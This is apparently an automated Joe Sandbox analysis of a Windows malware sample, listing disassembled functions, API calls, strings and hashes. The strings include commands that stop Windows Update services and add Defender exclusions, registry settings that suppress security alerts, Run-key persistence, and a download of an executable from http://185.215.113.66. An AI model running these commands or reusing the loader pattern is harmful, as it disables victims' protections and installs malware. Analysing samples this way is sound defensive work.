SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
%s\%s, xrefs: 00407B4D
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
%userprofile%, xrefs: 004079FC
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2
AntiSpywareOverride, xrefs: 0040826C
cmd.exe, xrefs: 00407D45
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80
DisableWindowsUpdate, xrefs: 0040805D
%s:Zone.Identifier, xrefs: 004079CE
UpdatesDisableNotify, xrefs: 004081D1
FirewallDisableNotify, xrefs: 0040824D
%temp%, xrefs: 00407C3F
%windir%, xrefs: 00407A44
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
%s\tbtnds.dat, xrefs: 0040833B
open, xrefs: 00407D65
DisableWindowsUpdate, xrefs: 00407F69
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
UpdatesOverride, xrefs: 004081B2
FirewallOverride, xrefs: 00408117
UpdatesOverride, xrefs: 004082C9
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
Start, xrefs: 00407E5E
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
AntiVirusDisableNotify, xrefs: 004082AA
AntiVirusDisableNotify, xrefs: 00408193
AntiSpywareOverride, xrefs: 00408155
cmd.exe, xrefs: 00407D60
mmn7nnm8na, xrefs: 00407954
FirewallOverride, xrefs: 0040822E
OverrideNotice, xrefs: 00408000
%s\%s, xrefs: 00407C56
PreventDownload, xrefs: 004080BA
AlwaysAutoUpdate, xrefs: 00407FE1
AntiVirusOverride, xrefs: 0040828B
open, xrefs: 00407D4A
AutoUpdateOptions, xrefs: 0040807C
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
Start, xrefs: 00407EB7
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
Start, xrefs: 00407DAC
%s\%s, xrefs: 00407A5B
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
NoAutoUpdate, xrefs: 00407FC2
FirewallDisableNotify, xrefs: 00408136
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
%s\tbtcmds.dat, xrefs: 00408355
UpdatesDisableNotify, xrefs: 004082E8
EnableWindowsUpdate, xrefs: 0040809B
AntiVirusOverride, xrefs: 00408174
Start, xrefs: 00407E05
Start, xrefs: 00407F10

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-159212852
Opcode ID: a4de16f9cd9a57b13bb64e1272bcdec428ac0ec926cd71be17685e2324921950
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: a4de16f9cd9a57b13bb64e1272bcdec428ac0ec926cd71be17685e2324921950
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Non-executed Functions

Function 004068E0 Relevance: 105.4, APIs: 47, Strings: 13, Instructions: 407
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

shell32.dll, xrefs: 00406C38
%s\%s\rvldrv.exe, xrefs: 004069AC
%s\%s, xrefs: 00406973
%s\%s, xrefs: 00406E4D
shell32.dll, xrefs: 00406C52
%s\%s, xrefs: 00406933
shell32.dll, xrefs: 00406C16
shell32.dll, xrefs: 00406BFC
%s.lnk, xrefs: 00406913
%s\*, xrefs: 0040698C
%s\%s\rvlcfg.exe, xrefs: 00406953
%s\%s, xrefs: 00406EC0
%s\%s\%s, xrefs: 00406EE7

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-638321828
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\%s, xrefs: 0040684E
%s\*, xrefs: 004067B9
%s\%s, xrefs: 0040682E

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

X#A, xrefs: 0040E258, 0040E25B
239.255.255.250, xrefs: 0040E1EA

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,Function_00001100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 0040F560 Relevance: 73.7, APIs: 36, Strings: 6, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

%s:Zone.Identifier, xrefs: 0040F838
%s:Zone.Identifier, xrefs: 0040F6E8
%s\%d%d.exe, xrefs: 0040F7FB
%temp%, xrefs: 0040F58B
%s\%d%d.exe, xrefs: 0040F5E8
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 1632876846-2803014298
Opcode ID: 96f0a69f3da845a58fc131bbffdea3f28c32c868df6781a1e5befd7d1371e6b2
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: 96f0a69f3da845a58fc131bbffdea3f28c32c868df6781a1e5befd7d1371e6b2
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 004064A0 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 111
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004064A9
srand.MSVCRT ref: 004064B0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 004064D0
rand.MSVCRT ref: 004064D6
rand.MSVCRT ref: 004064EA
wsprintfW.USER32 ref: 0040650F
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00406525
InternetOpenUrlW.WININET(00000000,http://185.215.113.66/tdrp.exe,00000000,00000000,00000000,00000000), ref: 00406552
CreateFileW.KERNEL32(00415BA8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040657F
InternetReadFile.WININET(00000000,?,00000103,?), ref: 004065B2
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 004065E3
CloseHandle.KERNEL32(000000FF), ref: 004065F2
wsprintfW.USER32 ref: 00406609
